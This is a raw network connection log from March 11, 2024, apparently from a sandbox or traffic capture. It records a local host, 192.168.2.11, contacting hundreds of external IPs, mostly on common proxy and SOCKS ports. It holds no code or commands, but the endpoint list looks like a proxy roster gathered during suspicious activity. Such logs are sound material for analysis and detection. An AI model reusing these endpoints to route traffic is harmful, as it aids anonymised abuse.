Mar 11, 2024 16:42:18.786284924 CET	80	50042	172.67.53.215	192.168.2.11
Mar 11, 2024 16:42:18.786340952 CET	80	50042	172.67.53.215	192.168.2.11
Mar 11, 2024 16:42:18.786592007 CET	80	50042	172.67.53.215	192.168.2.11
Mar 11, 2024 16:42:18.786602020 CET	50042	80	192.168.2.11	172.67.53.215
Mar 11, 2024 16:42:18.786668062 CET	50042	80	192.168.2.11	172.67.53.215
Mar 11, 2024 16:42:18.788121939 CET	50318	8080	192.168.2.11	46.209.207.153
Mar 11, 2024 16:42:18.788136959 CET	9764	49961	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:18.788193941 CET	50330	8089	192.168.2.11	117.70.49.27
Mar 11, 2024 16:42:18.788688898 CET	50194	80	192.168.2.11	104.20.24.214
Mar 11, 2024 16:42:18.788688898 CET	50195	80	192.168.2.11	172.67.150.173
Mar 11, 2024 16:42:18.789546013 CET	50332	999	192.168.2.11	190.97.238.88
Mar 11, 2024 16:42:18.791465998 CET	50333	1981	192.168.2.11	41.65.236.37
Mar 11, 2024 16:42:18.791982889 CET	5678	49876	1.15.62.12	192.168.2.11
Mar 11, 2024 16:42:18.792011976 CET	50334	64654	192.168.2.11	162.19.7.53
Mar 11, 2024 16:42:18.793015003 CET	50335	34172	192.168.2.11	162.241.46.6
Mar 11, 2024 16:42:18.794648886 CET	50336	999	192.168.2.11	190.95.195.105
Mar 11, 2024 16:42:18.795344114 CET	50337	39789	192.168.2.11	209.142.64.219
Mar 11, 2024 16:42:18.795754910 CET	80	50209	172.67.38.96	192.168.2.11
Mar 11, 2024 16:42:18.795826912 CET	1431	50121	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:18.796056032 CET	10363	50124	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:18.796169043 CET	50209	80	192.168.2.11	172.67.38.96
Mar 11, 2024 16:42:18.796785116 CET	50209	80	192.168.2.11	172.67.38.96
Mar 11, 2024 16:42:18.797791004 CET	50338	8811	192.168.2.11	51.158.68.68
Mar 11, 2024 16:42:18.797837973 CET	50339	999	192.168.2.11	190.90.22.106
Mar 11, 2024 16:42:18.797862053 CET	49749	8081	192.168.2.11	113.53.3.242
Mar 11, 2024 16:42:18.797864914 CET	49744	59920	192.168.2.11	45.56.220.210
Mar 11, 2024 16:42:18.797868967 CET	49834	80	192.168.2.11	50.172.218.160
Mar 11, 2024 16:42:18.797868967 CET	49745	3125	192.168.2.11	103.226.232.188
Mar 11, 2024 16:42:18.797914982 CET	49748	5678	192.168.2.11	143.255.140.28
Mar 11, 2024 16:42:18.798959970 CET	50340	42571	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:18.800792933 CET	50342	999	192.168.2.11	179.60.219.63
Mar 11, 2024 16:42:18.800905943 CET	50341	999	192.168.2.11	181.204.0.36
Mar 11, 2024 16:42:18.801182985 CET	8000	50052	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:18.801450968 CET	50052	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:18.801847935 CET	8080	50210	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:18.802083969 CET	50052	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:18.802141905 CET	80	50217	31.43.179.214	192.168.2.11
Mar 11, 2024 16:42:18.802165985 CET	50210	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:18.802964926 CET	50343	80	192.168.2.11	104.25.167.88
Mar 11, 2024 16:42:18.803030014 CET	50217	80	192.168.2.11	31.43.179.214
Mar 11, 2024 16:42:18.803760052 CET	50217	80	192.168.2.11	31.43.179.214
Mar 11, 2024 16:42:18.803776026 CET	50210	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:18.804169893 CET	50344	8080	192.168.2.11	137.59.161.177
Mar 11, 2024 16:42:18.805775881 CET	50345	7890	192.168.2.11	116.5.187.116
Mar 11, 2024 16:42:18.806180954 CET	50346	5678	192.168.2.11	201.144.20.231
Mar 11, 2024 16:42:18.806994915 CET	50347	31247	192.168.2.11	202.40.181.220
Mar 11, 2024 16:42:18.808855057 CET	80	50048	222.255.238.159	192.168.2.11
Mar 11, 2024 16:42:18.808904886 CET	50348	8080	192.168.2.11	182.52.229.165
Mar 11, 2024 16:42:18.809379101 CET	50349	8888	192.168.2.11	136.244.99.51
Mar 11, 2024 16:42:18.809484005 CET	41274	50167	162.241.158.204	192.168.2.11
Mar 11, 2024 16:42:18.809591055 CET	50048	80	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:18.809591055 CET	50048	80	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:18.811749935 CET	50350	8181	192.168.2.11	103.234.28.211
Mar 11, 2024 16:42:18.811781883 CET	50351	999	192.168.2.11	201.71.3.42
Mar 11, 2024 16:42:18.812797070 CET	80	49775	50.239.72.18	192.168.2.11
Mar 11, 2024 16:42:18.812855959 CET	50352	80	192.168.2.11	172.67.231.3
Mar 11, 2024 16:42:18.813487053 CET	49747	4995	192.168.2.11	116.97.240.147
Mar 11, 2024 16:42:18.813502073 CET	49754	3128	192.168.2.11	8.209.255.13
Mar 11, 2024 16:42:18.813505888 CET	49755	58740	192.168.2.11	162.214.90.49
Mar 11, 2024 16:42:18.813505888 CET	49750	8080	192.168.2.11	103.167.68.255
Mar 11, 2024 16:42:18.813533068 CET	49833	55019	192.168.2.11	92.204.135.37
Mar 11, 2024 16:42:18.813565016 CET	49756	12334	192.168.2.11	194.4.50.91
Mar 11, 2024 16:42:18.814431906 CET	4145	50125	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:18.814526081 CET	50354	80	192.168.2.11	203.57.51.53
Mar 11, 2024 16:42:18.814527035 CET	50125	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:18.814610004 CET	80	49974	104.18.20.160	192.168.2.11
Mar 11, 2024 16:42:18.814660072 CET	50353	80	192.168.2.11	115.42.45.1
Mar 11, 2024 16:42:18.815180063 CET	8080	50081	98.64.169.17	192.168.2.11
Mar 11, 2024 16:42:18.815315962 CET	50081	8080	192.168.2.11	98.64.169.17
Mar 11, 2024 16:42:18.815409899 CET	50125	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:18.815665007 CET	59268	50155	67.213.212.50	192.168.2.11
Mar 11, 2024 16:42:18.815843105 CET	21777	50158	51.222.84.118	192.168.2.11
Mar 11, 2024 16:42:18.816082954 CET	50355	6522	192.168.2.11	45.117.179.179
Mar 11, 2024 16:42:18.816253901 CET	50081	8080	192.168.2.11	98.64.169.17
Mar 11, 2024 16:42:18.817244053 CET	50356	27102	192.168.2.11	128.199.196.31
Mar 11, 2024 16:42:18.819046021 CET	50358	999	192.168.2.11	191.97.9.228
Mar 11, 2024 16:42:18.819046021 CET	50357	4145	192.168.2.11	197.234.13.17
Mar 11, 2024 16:42:18.819823980 CET	4495	49768	67.43.228.252	192.168.2.11
Mar 11, 2024 16:42:18.820847034 CET	50359	49202	192.168.2.11	51.161.131.84
Mar 11, 2024 16:42:18.820863962 CET	50360	8080	192.168.2.11	95.57.216.118
Mar 11, 2024 16:42:18.823383093 CET	50362	60964	192.168.2.11	192.163.202.88
Mar 11, 2024 16:42:18.823442936 CET	50361	8080	192.168.2.11	5.78.89.192
Mar 11, 2024 16:42:18.825349092 CET	50364	9050	192.168.2.11	45.113.80.37
Mar 11, 2024 16:42:18.825357914 CET	50363	8080	192.168.2.11	154.73.29.161
Mar 11, 2024 16:42:18.826227903 CET	80	50070	185.238.228.67	192.168.2.11
Mar 11, 2024 16:42:18.826246977 CET	80	50070	185.238.228.67	192.168.2.11
Mar 11, 2024 16:42:18.826750040 CET	50070	80	192.168.2.11	185.238.228.67
Mar 11, 2024 16:42:18.826903105 CET	50365	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:18.827424049 CET	80	50070	185.238.228.67	192.168.2.11
Mar 11, 2024 16:42:18.828773975 CET	80	50237	104.17.171.235	192.168.2.11
Mar 11, 2024 16:42:18.828804016 CET	50366	80	192.168.2.11	50.173.140.149
Mar 11, 2024 16:42:18.828874111 CET	50237	80	192.168.2.11	104.17.171.235
Mar 11, 2024 16:42:18.828898907 CET	50070	80	192.168.2.11	185.238.228.67
Mar 11, 2024 16:42:18.829119921 CET	49759	22881	192.168.2.11	208.109.14.49
Mar 11, 2024 16:42:18.829565048 CET	50367	999	192.168.2.11	189.173.223.225
Mar 11, 2024 16:42:18.829603910 CET	49760	31551	192.168.2.11	91.213.119.246
Mar 11, 2024 16:42:18.829643011 CET	50237	80	192.168.2.11	104.17.171.235
Mar 11, 2024 16:42:18.830517054 CET	999	50138	45.229.34.174	192.168.2.11
Mar 11, 2024 16:42:18.831047058 CET	50369	60200	192.168.2.11	162.241.137.197
Mar 11, 2024 16:42:18.831051111 CET	50368	2080	192.168.2.11	152.136.151.195
Mar 11, 2024 16:42:18.831264973 CET	4145	50221	199.102.106.94	192.168.2.11
Mar 11, 2024 16:42:18.832211018 CET	50370	8080	192.168.2.11	213.184.153.66
Mar 11, 2024 16:42:18.833930016 CET	80	50090	23.227.38.198	192.168.2.11
Mar 11, 2024 16:42:18.833956957 CET	50371	80	192.168.2.11	91.65.102.60
Mar 11, 2024 16:42:18.834094048 CET	80	50090	23.227.38.198	192.168.2.11
Mar 11, 2024 16:42:18.834482908 CET	80	50247	172.67.182.126	192.168.2.11
Mar 11, 2024 16:42:18.834613085 CET	50247	80	192.168.2.11	172.67.182.126
Mar 11, 2024 16:42:18.834779978 CET	80	50090	23.227.38.198	192.168.2.11
Mar 11, 2024 16:42:18.834865093 CET	50090	80	192.168.2.11	23.227.38.198
Mar 11, 2024 16:42:18.835086107 CET	50372	3128	192.168.2.11	220.194.189.144
Mar 11, 2024 16:42:18.835086107 CET	50090	80	192.168.2.11	23.227.38.198
Mar 11, 2024 16:42:18.835148096 CET	8089	50040	111.225.152.42	192.168.2.11
Mar 11, 2024 16:42:18.835195065 CET	13477	50175	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:18.835253000 CET	12334	50183	194.4.50.62	192.168.2.11
Mar 11, 2024 16:42:18.835350037 CET	50183	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:18.835525990 CET	9002	49830	220.248.70.237	192.168.2.11
Mar 11, 2024 16:42:18.835688114 CET	50247	80	192.168.2.11	172.67.182.126
Mar 11, 2024 16:42:18.836133957 CET	50183	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:18.836608887 CET	50373	4145	192.168.2.11	72.195.114.169
Mar 11, 2024 16:42:18.836791992 CET	5430	50064	202.179.184.44	192.168.2.11
Mar 11, 2024 16:42:18.836904049 CET	50064	5430	192.168.2.11	202.179.184.44
Mar 11, 2024 16:42:18.837606907 CET	50064	5430	192.168.2.11	202.179.184.44
Mar 11, 2024 16:42:18.837869883 CET	8080	49776	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:18.837898970 CET	50374	8080	192.168.2.11	103.176.96.132
Mar 11, 2024 16:42:18.837910891 CET	8080	49776	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:18.837943077 CET	8080	49776	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:18.837968111 CET	49776	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:18.838151932 CET	49776	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:18.840380907 CET	50375	39452	192.168.2.11	167.172.109.12
Mar 11, 2024 16:42:18.840404987 CET	4145	50199	199.102.107.145	192.168.2.11
Mar 11, 2024 16:42:18.840425968 CET	50376	80	192.168.2.11	172.67.3.98
Mar 11, 2024 16:42:18.841207027 CET	50377	8080	192.168.2.11	91.148.127.162
Mar 11, 2024 16:42:18.841244936 CET	8080	49814	103.190.54.141	192.168.2.11
Mar 11, 2024 16:42:18.841269970 CET	50199	4145	192.168.2.11	199.102.107.145
Mar 11, 2024 16:42:18.841495037 CET	50199	4145	192.168.2.11	199.102.107.145
Mar 11, 2024 16:42:18.841510057 CET	49776	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:18.843657970 CET	50378	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:18.843667984 CET	50379	8080	192.168.2.11	103.190.54.141
Mar 11, 2024 16:42:18.844043016 CET	50380	6001	192.168.2.11	20.106.146.212
Mar 11, 2024 16:42:18.844748974 CET	49757	6969	192.168.2.11	103.199.155.18
Mar 11, 2024 16:42:18.844940901 CET	49764	8080	192.168.2.11	185.108.141.19
Mar 11, 2024 16:42:18.844954967 CET	49763	8090	192.168.2.11	103.127.106.249
Mar 11, 2024 16:42:18.845227003 CET	50381	80	192.168.2.11	104.24.193.186
Mar 11, 2024 16:42:18.845971107 CET	50382	999	192.168.2.11	190.114.245.122
Mar 11, 2024 16:42:18.846426964 CET	5678	50059	202.165.47.49	192.168.2.11
Mar 11, 2024 16:42:18.846460104 CET	50383	37758	192.168.2.11	37.32.98.160
Mar 11, 2024 16:42:18.847084045 CET	50384	80	192.168.2.11	50.218.57.68
Mar 11, 2024 16:42:18.847767115 CET	50385	22735	192.168.2.11	91.142.222.84
Mar 11, 2024 16:42:18.847769022 CET	50386	19599	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:18.848361015 CET	50387	5678	192.168.2.11	36.67.14.195
Mar 11, 2024 16:42:18.848455906 CET	31979	50095	51.77.65.164	192.168.2.11
Mar 11, 2024 16:42:18.848632097 CET	50388	80	192.168.2.11	104.25.81.82
Mar 11, 2024 16:42:18.848850012 CET	50389	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:18.849481106 CET	50390	8080	192.168.2.11	216.74.255.182
Mar 11, 2024 16:42:18.850941896 CET	28971	49777	67.43.228.254	192.168.2.11
Mar 11, 2024 16:42:18.851416111 CET	50391	62801	192.168.2.11	146.59.147.11
Mar 11, 2024 16:42:18.851424932 CET	50392	46983	192.168.2.11	132.148.167.231
Mar 11, 2024 16:42:18.852269888 CET	50393	4145	192.168.2.11	103.58.16.57
Mar 11, 2024 16:42:18.853578091 CET	50394	41491	192.168.2.11	167.172.109.12
Mar 11, 2024 16:42:18.853790045 CET	50395	4145	192.168.2.11	110.77.232.172
Mar 11, 2024 16:42:18.854223013 CET	80	50277	104.17.166.210	192.168.2.11
Mar 11, 2024 16:42:18.855731964 CET	50396	5432	192.168.2.11	45.196.151.84
Mar 11, 2024 16:42:18.855732918 CET	50397	999	192.168.2.11	181.78.22.228
Mar 11, 2024 16:42:18.855766058 CET	50277	80	192.168.2.11	104.17.166.210
Mar 11, 2024 16:42:18.856339931 CET	50277	80	192.168.2.11	104.17.166.210
Mar 11, 2024 16:42:18.856436968 CET	80	50282	172.67.181.129	192.168.2.11
Mar 11, 2024 16:42:18.856580019 CET	50282	80	192.168.2.11	172.67.181.129
Mar 11, 2024 16:42:18.857337952 CET	50282	80	192.168.2.11	172.67.181.129
Mar 11, 2024 16:42:18.857420921 CET	50398	80	192.168.2.11	36.92.193.189
Mar 11, 2024 16:42:18.858422041 CET	4145	50166	174.75.211.222	192.168.2.11
Mar 11, 2024 16:42:18.858448029 CET	50399	4145	192.168.2.11	103.66.233.225
Mar 11, 2024 16:42:18.858493090 CET	80	49716	50.217.226.43	192.168.2.11
Mar 11, 2024 16:42:18.858520031 CET	50166	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:18.858829021 CET	50400	4153	192.168.2.11	103.95.97.42
Mar 11, 2024 16:42:18.859734058 CET	40536	50258	162.214.225.223	192.168.2.11
Mar 11, 2024 16:42:18.859757900 CET	50166	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:18.860512972 CET	50401	5678	192.168.2.11	103.131.8.27
Mar 11, 2024 16:42:18.860513926 CET	49769	24183	192.168.2.11	92.205.61.38
Mar 11, 2024 16:42:18.860515118 CET	50258	40536	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:18.860719919 CET	50258	40536	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:18.861747026 CET	50402	41746	192.168.2.11	51.79.87.144
Mar 11, 2024 16:42:18.861749887 CET	50403	3629	192.168.2.11	91.220.69.43
Mar 11, 2024 16:42:18.862610102 CET	50404	3825	192.168.2.11	104.247.163.246
Mar 11, 2024 16:42:18.864656925 CET	50405	4145	192.168.2.11	168.205.217.13
Mar 11, 2024 16:42:18.864701033 CET	8193	49930	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:18.864701033 CET	50406	6821	192.168.2.11	198.12.255.193
Mar 11, 2024 16:42:18.865879059 CET	50407	8888	192.168.2.11	217.219.74.130
Mar 11, 2024 16:42:18.865972042 CET	49930	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:18.866029978 CET	9401	49823	147.75.92.251	192.168.2.11
Mar 11, 2024 16:42:18.866050005 CET	50605	49782	51.81.89.146	192.168.2.11
Mar 11, 2024 16:42:18.866085052 CET	49930	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:18.866153002 CET	8193	49930	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:18.867446899 CET	9090	49867	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:18.867474079 CET	50408	8080	192.168.2.11	27.54.71.231
Mar 11, 2024 16:42:18.867589951 CET	49867	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:18.867875099 CET	9090	49867	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:18.867901087 CET	49867	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:18.868149996 CET	50409	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:18.869199991 CET	50410	8888	192.168.2.11	120.79.101.0
Mar 11, 2024 16:42:18.869199991 CET	50412	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:18.869484901 CET	50411	8080	192.168.2.11	193.34.95.110
Mar 11, 2024 16:42:18.870879889 CET	50414	80	192.168.2.11	133.232.90.96
Mar 11, 2024 16:42:18.870883942 CET	50413	20435	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:18.872241020 CET	4145	50177	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:18.872275114 CET	50415	80	192.168.2.11	154.118.228.212
Mar 11, 2024 16:42:18.872517109 CET	50177	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:18.872900963 CET	1080	50249	54.212.22.168	192.168.2.11
Mar 11, 2024 16:42:18.872967958 CET	50249	1080	192.168.2.11	54.212.22.168
Mar 11, 2024 16:42:18.872971058 CET	50416	29212	192.168.2.11	92.204.135.203
Mar 11, 2024 16:42:18.873352051 CET	50177	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:18.874250889 CET	50417	49685	192.168.2.11	195.154.243.38
Mar 11, 2024 16:42:18.874253035 CET	50249	1080	192.168.2.11	54.212.22.168
Mar 11, 2024 16:42:18.875165939 CET	80	49797	50.239.72.19	192.168.2.11
Mar 11, 2024 16:42:18.875205994 CET	50418	4145	192.168.2.11	92.207.253.226
Mar 11, 2024 16:42:18.875555038 CET	3129	50051	20.219.177.85	192.168.2.11
Mar 11, 2024 16:42:18.876019001 CET	49897	45248	192.168.2.11	166.62.121.127
Mar 11, 2024 16:42:18.876084089 CET	50419	24543	192.168.2.11	209.159.153.19
Mar 11, 2024 16:42:18.876838923 CET	50420	31476	192.168.2.11	170.244.64.12
Mar 11, 2024 16:42:18.877666950 CET	50421	16379	192.168.2.11	51.158.77.220
Mar 11, 2024 16:42:18.878756046 CET	50422	3128	192.168.2.11	188.56.223.85
Mar 11, 2024 16:42:18.879581928 CET	50423	8080	192.168.2.11	190.104.20.82
Mar 11, 2024 16:42:18.881146908 CET	50425	8888	192.168.2.11	188.166.30.17
Mar 11, 2024 16:42:18.881211042 CET	50424	80	192.168.2.11	102.130.125.86
Mar 11, 2024 16:42:18.882298946 CET	8888	49905	65.109.152.88	192.168.2.11
Mar 11, 2024 16:42:18.882328987 CET	50426	5678	192.168.2.11	203.205.34.58
Mar 11, 2024 16:42:18.882467985 CET	4711	50226	67.43.227.227	192.168.2.11
Mar 11, 2024 16:42:18.882846117 CET	50427	5020	192.168.2.11	176.192.65.34
Mar 11, 2024 16:42:18.883547068 CET	55066	50128	167.86.115.103	192.168.2.11
Mar 11, 2024 16:42:18.883903027 CET	31033	49786	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:18.884021997 CET	50428	8080	192.168.2.11	8.218.100.120
Mar 11, 2024 16:42:18.884442091 CET	5000	50073	49.228.131.169	192.168.2.11
Mar 11, 2024 16:42:18.884635925 CET	50073	5000	192.168.2.11	49.228.131.169
Mar 11, 2024 16:42:18.884772062 CET	50429	999	192.168.2.11	45.174.248.19
Mar 11, 2024 16:42:18.884799004 CET	50073	5000	192.168.2.11	49.228.131.169
Mar 11, 2024 16:42:18.885883093 CET	50430	8082	192.168.2.11	80.72.68.247
Mar 11, 2024 16:42:18.886434078 CET	80	49971	52.196.1.182	192.168.2.11
Mar 11, 2024 16:42:18.886698008 CET	80	50132	172.67.182.0	192.168.2.11
Mar 11, 2024 16:42:18.886768103 CET	80	50132	172.67.182.0	192.168.2.11
Mar 11, 2024 16:42:18.887057066 CET	80	50132	172.67.182.0	192.168.2.11
Mar 11, 2024 16:42:18.887150049 CET	50431	4145	192.168.2.11	199.58.185.9
Mar 11, 2024 16:42:18.887176991 CET	50132	80	192.168.2.11	172.67.182.0
Mar 11, 2024 16:42:18.887262106 CET	50132	80	192.168.2.11	172.67.182.0
Mar 11, 2024 16:42:18.888215065 CET	80	49971	52.196.1.182	192.168.2.11
Mar 11, 2024 16:42:18.888462067 CET	80	50129	104.21.194.182	192.168.2.11
Mar 11, 2024 16:42:18.888501883 CET	80	50129	104.21.194.182	192.168.2.11
Mar 11, 2024 16:42:18.888567924 CET	80	50006	104.27.15.161	192.168.2.11
Mar 11, 2024 16:42:18.888583899 CET	80	50002	172.67.181.197	192.168.2.11
Mar 11, 2024 16:42:18.888709068 CET	80	50129	104.21.194.182	192.168.2.11
Mar 11, 2024 16:42:18.888937950 CET	50129	80	192.168.2.11	104.21.194.182
Mar 11, 2024 16:42:18.888938904 CET	49971	80	192.168.2.11	52.196.1.182
Mar 11, 2024 16:42:18.889010906 CET	50129	80	192.168.2.11	104.21.194.182
Mar 11, 2024 16:42:18.891288996 CET	32100	49904	50.233.111.162	192.168.2.11
Mar 11, 2024 16:42:18.891625881 CET	49774	15673	192.168.2.11	43.155.165.196
Mar 11, 2024 16:42:18.891635895 CET	49884	8000	192.168.2.11	178.128.156.219
Mar 11, 2024 16:42:18.892039061 CET	49773	8402	192.168.2.11	45.229.10.98
Mar 11, 2024 16:42:18.893129110 CET	80	50119	104.20.123.164	192.168.2.11
Mar 11, 2024 16:42:18.893174887 CET	80	50119	104.20.123.164	192.168.2.11
Mar 11, 2024 16:42:18.893359900 CET	50432	80	192.168.2.11	140.83.32.175
Mar 11, 2024 16:42:18.893388987 CET	80	50119	104.20.123.164	192.168.2.11
Mar 11, 2024 16:42:18.893506050 CET	50119	80	192.168.2.11	104.20.123.164
Mar 11, 2024 16:42:18.893774033 CET	50119	80	192.168.2.11	104.20.123.164
Mar 11, 2024 16:42:18.894134998 CET	4153	50046	103.83.105.167	192.168.2.11
Mar 11, 2024 16:42:18.894391060 CET	50433	26976	192.168.2.11	124.198.74.90
Mar 11, 2024 16:42:18.894618034 CET	50434	64494	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:18.894895077 CET	50435	25491	192.168.2.11	67.43.227.230
Mar 11, 2024 16:42:18.895682096 CET	7777	50091	218.6.120.111	192.168.2.11
Mar 11, 2024 16:42:18.896224976 CET	80	50149	104.16.143.127	192.168.2.11
Mar 11, 2024 16:42:18.896255970 CET	50436	4145	192.168.2.11	184.178.172.3
Mar 11, 2024 16:42:18.896261930 CET	80	50149	104.16.143.127	192.168.2.11
Mar 11, 2024 16:42:18.896416903 CET	50091	7777	192.168.2.11	218.6.120.111
Mar 11, 2024 16:42:18.896568060 CET	80	50149	104.16.143.127	192.168.2.11
Mar 11, 2024 16:42:18.896671057 CET	50149	80	192.168.2.11	104.16.143.127
Mar 11, 2024 16:42:18.897461891 CET	50149	80	192.168.2.11	104.16.143.127
Mar 11, 2024 16:42:18.897509098 CET	50091	7777	192.168.2.11	218.6.120.111
Mar 11, 2024 16:42:18.897806883 CET	50437	80	192.168.2.11	172.67.14.237
Mar 11, 2024 16:42:18.897809982 CET	32221	49788	67.43.228.254	192.168.2.11
Mar 11, 2024 16:42:18.897880077 CET	80	49912	39.105.5.126	192.168.2.11
Mar 11, 2024 16:42:18.898211002 CET	4145	50211	68.1.210.163	192.168.2.11
Mar 11, 2024 16:42:18.898539066 CET	4145	50212	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:18.898591995 CET	50438	3128	192.168.2.11	59.15.28.76
Mar 11, 2024 16:42:18.898664951 CET	50211	4145	192.168.2.11	68.1.210.163
Mar 11, 2024 16:42:18.898667097 CET	49912	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:18.898735046 CET	50212	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:18.898921013 CET	49912	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:18.899517059 CET	80	49912	39.105.5.126	192.168.2.11
Mar 11, 2024 16:42:18.899831057 CET	50211	4145	192.168.2.11	68.1.210.163
Mar 11, 2024 16:42:18.899836063 CET	50212	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:18.900909901 CET	50439	80	192.168.2.11	185.238.228.240
Mar 11, 2024 16:42:18.901606083 CET	50440	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:18.901606083 CET	50441	8080	192.168.2.11	186.233.25.83
Mar 11, 2024 16:42:18.902446032 CET	50442	999	192.168.2.11	201.77.108.64
Mar 11, 2024 16:42:18.902987957 CET	5678	50068	223.25.98.82	192.168.2.11
Mar 11, 2024 16:42:18.903170109 CET	50443	53777	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:18.903249979 CET	80	50156	50.170.90.28	192.168.2.11
Mar 11, 2024 16:42:18.903567076 CET	83	49857	103.168.164.94	192.168.2.11
Mar 11, 2024 16:42:18.904797077 CET	80	50297	104.18.161.122	192.168.2.11
Mar 11, 2024 16:42:18.905078888 CET	80	50268	12.176.231.147	192.168.2.11
Mar 11, 2024 16:42:18.905181885 CET	50268	80	192.168.2.11	12.176.231.147
Mar 11, 2024 16:42:18.905183077 CET	50297	80	192.168.2.11	104.18.161.122
Mar 11, 2024 16:42:18.907254934 CET	49892	80	192.168.2.11	50.168.72.112
Mar 11, 2024 16:42:18.907263041 CET	49800	3129	192.168.2.11	115.248.66.131
Mar 11, 2024 16:42:18.907354116 CET	49778	37876	192.168.2.11	162.241.50.179
Mar 11, 2024 16:42:18.907354116 CET	49780	999	192.168.2.11	131.100.48.75
Mar 11, 2024 16:42:18.907680988 CET	49781	8080	192.168.2.11	149.126.101.162
Mar 11, 2024 16:42:18.909776926 CET	80	50016	162.159.242.138	192.168.2.11
Mar 11, 2024 16:42:18.909804106 CET	1337	50173	185.217.136.67	192.168.2.11
Mar 11, 2024 16:42:18.909816980 CET	3128	50203	13.208.168.179	192.168.2.11
Mar 11, 2024 16:42:18.909830093 CET	7777	49882	123.30.154.171	192.168.2.11
Mar 11, 2024 16:42:18.909890890 CET	50173	1337	192.168.2.11	185.217.136.67
Mar 11, 2024 16:42:18.909951925 CET	7777	49882	123.30.154.171	192.168.2.11
Mar 11, 2024 16:42:18.910136938 CET	50203	3128	192.168.2.11	13.208.168.179
Mar 11, 2024 16:42:18.910490990 CET	7777	49882	123.30.154.171	192.168.2.11
Mar 11, 2024 16:42:18.911561966 CET	49882	7777	192.168.2.11	123.30.154.171
Mar 11, 2024 16:42:18.914828062 CET	3128	50262	103.35.189.217	192.168.2.11
Mar 11, 2024 16:42:18.914936066 CET	50262	3128	192.168.2.11	103.35.189.217
Mar 11, 2024 16:42:18.920968056 CET	80	50190	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:18.921000957 CET	50297	80	192.168.2.11	104.18.161.122
Mar 11, 2024 16:42:18.921133041 CET	50190	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:18.921319008 CET	50203	3128	192.168.2.11	13.208.168.179
Mar 11, 2024 16:42:18.921571016 CET	50262	3128	192.168.2.11	103.35.189.217
Mar 11, 2024 16:42:18.921571016 CET	50268	80	192.168.2.11	12.176.231.147
Mar 11, 2024 16:42:18.921571970 CET	50173	1337	192.168.2.11	185.217.136.67
Mar 11, 2024 16:42:18.922312021 CET	50190	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:18.922313929 CET	49882	7777	192.168.2.11	123.30.154.171
Mar 11, 2024 16:42:18.922480106 CET	8000	50039	137.184.200.42	192.168.2.11
Mar 11, 2024 16:42:18.922866106 CET	49785	80	192.168.2.11	93.188.161.84
Mar 11, 2024 16:42:18.922866106 CET	49790	8080	192.168.2.11	103.114.53.2
Mar 11, 2024 16:42:18.922915936 CET	49783	4145	192.168.2.11	212.231.197.29
Mar 11, 2024 16:42:18.922915936 CET	49787	80	192.168.2.11	31.207.38.66
Mar 11, 2024 16:42:18.923259020 CET	50445	4153	192.168.2.11	179.109.193.228
Mar 11, 2024 16:42:18.923263073 CET	50444	8080	192.168.2.11	183.88.184.48
Mar 11, 2024 16:42:18.923341036 CET	8888	50080	93.171.220.229	192.168.2.11
Mar 11, 2024 16:42:18.923465967 CET	50080	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:18.923736095 CET	50080	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:18.924381018 CET	50446	3335	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:18.928159952 CET	50447	80	192.168.2.11	172.67.209.12
